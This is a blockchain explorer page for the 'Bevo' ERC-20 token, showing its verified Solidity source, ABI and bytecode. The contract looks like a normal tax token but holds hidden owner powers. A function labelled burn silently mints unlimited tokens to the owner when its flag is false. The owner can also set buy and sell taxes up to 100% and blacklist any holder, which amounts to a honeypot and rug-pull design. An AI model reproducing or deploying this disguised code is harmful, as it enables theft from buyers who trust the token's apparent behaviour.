ETH Price: $2,638.90 (+0.23%)

Token

Bevo (Bevo)
 

Overview

Max Total Supply

100,000,000 Bevo

Holders

7

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bevo

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;


//Website    : https://bevo.vip/
//Telergram  : https://t.me/bevoportal
//Marketing  : https://t.me/+iT8_Pa0fRE0yNDE1
//Twitter    : https://twitter.com/bevocoineth

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Bevo is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 20;
    uint8 public sellTax = 20;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"Bevo";
    string private constant _symbol = unicode"Bevo";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000; // 0.25% of total supply
    uint256 private maxTxAmount =  _tTotal * 2 / 100; // 2% of total supply
    uint256 private maxWalletAmount = _tTotal * 2 / 100; // 2% of total supply

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => bool) private blackLists;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 100 && newSellTax <= 100, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

//    function setExcludedFromFees(address[] calldata users, bool isExcluded) external onlyOwner {
//        require(users.length > 0, "Empty users");
//        for (uint256 i; i < users.length; i++) {
//            isExcludedFromFees[users[i]] = isExcluded;
//        }
//    }

    function setBlackLists(address[] calldata users, bool isBlack) external onlyOwner {
        require(users.length > 0, "Empty users");
        for (uint256 i; i < users.length; i++) {
            blackLists[users[i]] = isBlack;
        }
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");
        require(!blackLists[from] && !blackLists[to], "In blacklist");

        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == uniswapV2Pair) {
            require(amount <= maxTxAmount, "Over max tx amount");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Over max wallet amount");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        uint256 feeAmount = amount * tax / 100;

        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"bool","name":"isBlack","type":"bool"}],"name":"setBlackLists","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019166314140000179055612710620000286012600a62000370565b62000038906305f5e10062000387565b6200004590601962000387565b620000519190620003a1565b6004556064620000646012600a62000370565b62000074906305f5e10062000387565b6200008190600262000387565b6200008d9190620003a1565b6005556064620000a06012600a62000370565b620000b0906305f5e10062000387565b620000bd90600262000387565b620000c99190620003a1565b600655348015620000d8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001276012600a62000370565b62000137906305f5e10062000387565b60015f6200014c5f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620001775f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055305f908152600a602081905260408220805460ff1916600190811790915591620001c85f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055620002015f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023a6012600a62000370565b6200024a906305f5e10062000387565b60405190815260200160405180910390a3620003c1565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b557815f190482111562000299576200029962000261565b80851615620002a757918102915b93841c93908002906200027a565b509250929050565b5f82620002cd575060016200036a565b81620002db57505f6200036a565b8160018114620002f45760028114620002ff576200031f565b60019150506200036a565b60ff84111562000313576200031362000261565b50506001821b6200036a565b5060208310610133831016604e8410600b841016171562000344575081810a6200036a565b62000350838362000275565b805f190482111562000366576200036662000261565b0290505b92915050565b5f6200038060ff841683620002bd565b9392505050565b80820281158282048414176200036a576200036a62000261565b5f82620003bc57634e487b7160e01b5f52601260045260245ffd5b500490565b61162c80620003cf5f395ff3fe608060405260043610610108575f3560e01c80638a8c523c11610092578063a9059cbb11610062578063a9059cbb146102b5578063a9128ff0146102d4578063ae9b6e10146102f3578063cc1776d314610312578063dd62ed3e14610332575f80fd5b80638a8c523c1461025c5780638da5cb5b1461027057806395d89b41146101135780639fac68cb14610296575f80fd5b8063313ce567116100d8578063313ce567146101be5780634f7041a5146101df57806370a08231146101fe578063715018a614610232578063751039fc14610248575f80fd5b806306fdde0314610113578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260048152634265766f60e01b602082015290516101459190611152565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046111b1565b610376565b6040519015158152602001610145565b348015610188575f80fd5b5061019161038c565b604051908152602001610145565b3480156101aa575f80fd5b5061016d6101b93660046111db565b6103ac565b3480156101c9575f80fd5b5060125b60405160ff9091168152602001610145565b3480156101ea575f80fd5b506003546101cd9062010000900460ff1681565b348015610209575f80fd5b50610191610218366004611219565b6001600160a01b03165f9081526001602052604090205490565b34801561023d575f80fd5b506102466103fc565b005b348015610253575f80fd5b50610246610476565b348015610267575f80fd5b506102466104b7565b34801561027b575f80fd5b505f546040516001600160a01b039091168152602001610145565b3480156102a1575f80fd5b506102466102b0366004611248565b610841565b3480156102c0575f80fd5b5061016d6102cf3660046111b1565b6108c1565b3480156102df575f80fd5b506102466102ee36600461128b565b6108cd565b3480156102fe575f80fd5b5061024661030d3660046112bc565b61097a565b34801561031d575f80fd5b506003546101cd906301000000900460ff1681565b34801561033d575f80fd5b5061019161034c36600461133b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610382338484610a52565b5060015b92915050565b5f6103996012600a61145b565b6103a7906305f5e100611469565b905090565b5f6103b8848484610b76565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103f29186916103ed908690611480565b610a52565b5060019392505050565b5f546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611493565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049f5760405162461bcd60e51b815260040161042590611493565b6104a761038c565b6005556104b261038c565b600655565b5f546001600160a01b031633146104e05760405162461bcd60e51b815260040161042590611493565b60035460ff16156105255760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610425565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561057b90309061056d6012600a61145b565b6103ed906305f5e100611469565b60075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ef91906114c8565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906114c8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e091906114c8565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d7194730610727816001600160a01b03165f9081526001602052604090205490565b5f8061073a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c591906114e3565b505060085460075460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e919061150e565b50565b5f546001600160a01b0316331461086a5760405162461bcd60e51b815260040161042590611493565b801561089957335f908152600160205260408120805484929061088e908490611480565b909155506108bd9050565b335f90815260016020526040812080548492906108b7908490611529565b90915550505b5050565b5f610382338484610b76565b5f546001600160a01b031633146108f65760405162461bcd60e51b815260040161042590611493565b60648260ff161115801561090e575060648160ff1611155b6109485760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610425565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b5f546001600160a01b031633146109a35760405162461bcd60e51b815260040161042590611493565b816109de5760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610425565b5f5b82811015610a4c5781600b5f8686858181106109fe576109fe61153c565b9050602002016020810190610a139190611219565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610a4481611550565b9150506109e0565b50505050565b6001600160a01b038316610ab45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610bb35760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610425565b6001600160a01b0383165f908152600b602052604090205460ff16158015610bf357506001600160a01b0382165f908152600b602052604090205460ff16155b610c2e5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610425565b60035460ff16610cb7576001600160a01b0383165f908152600a602052604090205460ff1680610c7557506001600160a01b0382165f908152600a602052604090205460ff165b610cb75760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610425565b6008546001600160a01b03848116911614801590610ce357506008546001600160a01b03838116911614155b80610d0557506001600160a01b0383165f908152600a602052604090205460ff165b80610d2757506001600160a01b0382165f908152600a602052604090205460ff165b80610d395750600354610100900460ff165b15610d4e57610d49838383610ebf565b505050565b6008546001600160a01b038381169116148015610d7b5750600454305f9081526001602052604090205410155b15610dc8576003805461ff001916610100179055610db5610db0306001600160a01b03165f9081526001602052604090205490565b610f5e565b6003805461ff0019169055610dc86110b1565b6008546001600160a01b0390811690841603610e9857600554811115610e255760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610425565b60065481610e47846001600160a01b03165f9081526001602052604090205490565b610e519190611529565b1115610e985760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610425565b600854610eb690849083906001600160a01b038681169116146110ef565b9050610d498383835b6001600160a01b0383165f9081526001602052604081208054839290610ee6908490611480565b90915550506001600160a01b0382165f9081526001602052604081208054839290610f12908490611529565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6991815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f9157610f9161153c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100c91906114c8565b8160018151811061101f5761101f61153c565b6001600160a01b0392831660209182029290920101526007546110459130911684610a52565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac947926110819287925f9288929116904290600401611568565b5f604051808303815f87803b158015611098575f80fd5b505af19250505080156110a9575060015b6108bd575050565b47156110ed576009546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561083e573d5f803e3d5ffd5b565b5f80826111075760035462010000900460ff16611115565b6003546301000000900460ff165b60ff1690505f60646111278387611469565b61113191906115d7565b905061113e863083610ebf565b6111488186611480565b9695505050505050565b5f6020808352835180828501525f5b8181101561117d57858101830151858201604001528201611161565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461083e575f80fd5b5f80604083850312156111c2575f80fd5b82356111cd8161119d565b946020939093013593505050565b5f805f606084860312156111ed575f80fd5b83356111f88161119d565b925060208401356112088161119d565b929592945050506040919091013590565b5f60208284031215611229575f80fd5b81356112348161119d565b9392505050565b801515811461083e575f80fd5b5f8060408385031215611259575f80fd5b82359150602083013561126b8161123b565b809150509250929050565b803560ff81168114611286575f80fd5b919050565b5f806040838503121561129c575f80fd5b6112a583611276565b91506112b360208401611276565b90509250929050565b5f805f604084860312156112ce575f80fd5b833567ffffffffffffffff808211156112e5575f80fd5b818601915086601f8301126112f8575f80fd5b813581811115611306575f80fd5b8760208260051b850101111561131a575f80fd5b602092830195509350508401356113308161123b565b809150509250925092565b5f806040838503121561134c575f80fd5b82356113578161119d565b9150602083013561126b8161119d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156113b557815f190482111561139b5761139b611367565b808516156113a857918102915b93841c9390800290611380565b509250929050565b5f826113cb57506001610386565b816113d757505f610386565b81600181146113ed57600281146113f757611413565b6001915050610386565b60ff84111561140857611408611367565b50506001821b610386565b5060208310610133831016604e8410600b8410161715611436575081810a610386565b611440838361137b565b805f190482111561145357611453611367565b029392505050565b5f61123460ff8416836113bd565b808202811582820484141761038657610386611367565b8181038181111561038657610386611367565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156114d8575f80fd5b81516112348161119d565b5f805f606084860312156114f5575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561151e575f80fd5b81516112348161123b565b8082018082111561038657610386611367565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161156157611561611367565b5060010190565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115b65784516001600160a01b031683529383019391830191600101611591565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826115f157634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220a84ea10de95c1b7180704a42da13f6f7777ff4eb588cc00cd3a8b89a0cd0f19b64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638a8c523c11610092578063a9059cbb11610062578063a9059cbb146102b5578063a9128ff0146102d4578063ae9b6e10146102f3578063cc1776d314610312578063dd62ed3e14610332575f80fd5b80638a8c523c1461025c5780638da5cb5b1461027057806395d89b41146101135780639fac68cb14610296575f80fd5b8063313ce567116100d8578063313ce567146101be5780634f7041a5146101df57806370a08231146101fe578063715018a614610232578063751039fc14610248575f80fd5b806306fdde0314610113578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260048152634265766f60e01b602082015290516101459190611152565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046111b1565b610376565b6040519015158152602001610145565b348015610188575f80fd5b5061019161038c565b604051908152602001610145565b3480156101aa575f80fd5b5061016d6101b93660046111db565b6103ac565b3480156101c9575f80fd5b5060125b60405160ff9091168152602001610145565b3480156101ea575f80fd5b506003546101cd9062010000900460ff1681565b348015610209575f80fd5b50610191610218366004611219565b6001600160a01b03165f9081526001602052604090205490565b34801561023d575f80fd5b506102466103fc565b005b348015610253575f80fd5b50610246610476565b348015610267575f80fd5b506102466104b7565b34801561027b575f80fd5b505f546040516001600160a01b039091168152602001610145565b3480156102a1575f80fd5b506102466102b0366004611248565b610841565b3480156102c0575f80fd5b5061016d6102cf3660046111b1565b6108c1565b3480156102df575f80fd5b506102466102ee36600461128b565b6108cd565b3480156102fe575f80fd5b5061024661030d3660046112bc565b61097a565b34801561031d575f80fd5b506003546101cd906301000000900460ff1681565b34801561033d575f80fd5b5061019161034c36600461133b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610382338484610a52565b5060015b92915050565b5f6103996012600a61145b565b6103a7906305f5e100611469565b905090565b5f6103b8848484610b76565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103f29186916103ed908690611480565b610a52565b5060019392505050565b5f546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611493565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049f5760405162461bcd60e51b815260040161042590611493565b6104a761038c565b6005556104b261038c565b600655565b5f546001600160a01b031633146104e05760405162461bcd60e51b815260040161042590611493565b60035460ff16156105255760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610425565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561057b90309061056d6012600a61145b565b6103ed906305f5e100611469565b60075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ef91906114c8565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906114c8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e091906114c8565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d7194730610727816001600160a01b03165f9081526001602052604090205490565b5f8061073a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c591906114e3565b505060085460075460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e919061150e565b50565b5f546001600160a01b0316331461086a5760405162461bcd60e51b815260040161042590611493565b801561089957335f908152600160205260408120805484929061088e908490611480565b909155506108bd9050565b335f90815260016020526040812080548492906108b7908490611529565b90915550505b5050565b5f610382338484610b76565b5f546001600160a01b031633146108f65760405162461bcd60e51b815260040161042590611493565b60648260ff161115801561090e575060648160ff1611155b6109485760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610425565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b5f546001600160a01b031633146109a35760405162461bcd60e51b815260040161042590611493565b816109de5760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610425565b5f5b82811015610a4c5781600b5f8686858181106109fe576109fe61153c565b9050602002016020810190610a139190611219565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610a4481611550565b9150506109e0565b50505050565b6001600160a01b038316610ab45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610bb35760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610425565b6001600160a01b0383165f908152600b602052604090205460ff16158015610bf357506001600160a01b0382165f908152600b602052604090205460ff16155b610c2e5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610425565b60035460ff16610cb7576001600160a01b0383165f908152600a602052604090205460ff1680610c7557506001600160a01b0382165f908152600a602052604090205460ff165b610cb75760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610425565b6008546001600160a01b03848116911614801590610ce357506008546001600160a01b03838116911614155b80610d0557506001600160a01b0383165f908152600a602052604090205460ff165b80610d2757506001600160a01b0382165f908152600a602052604090205460ff165b80610d395750600354610100900460ff165b15610d4e57610d49838383610ebf565b505050565b6008546001600160a01b038381169116148015610d7b5750600454305f9081526001602052604090205410155b15610dc8576003805461ff001916610100179055610db5610db0306001600160a01b03165f9081526001602052604090205490565b610f5e565b6003805461ff0019169055610dc86110b1565b6008546001600160a01b0390811690841603610e9857600554811115610e255760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610425565b60065481610e47846001600160a01b03165f9081526001602052604090205490565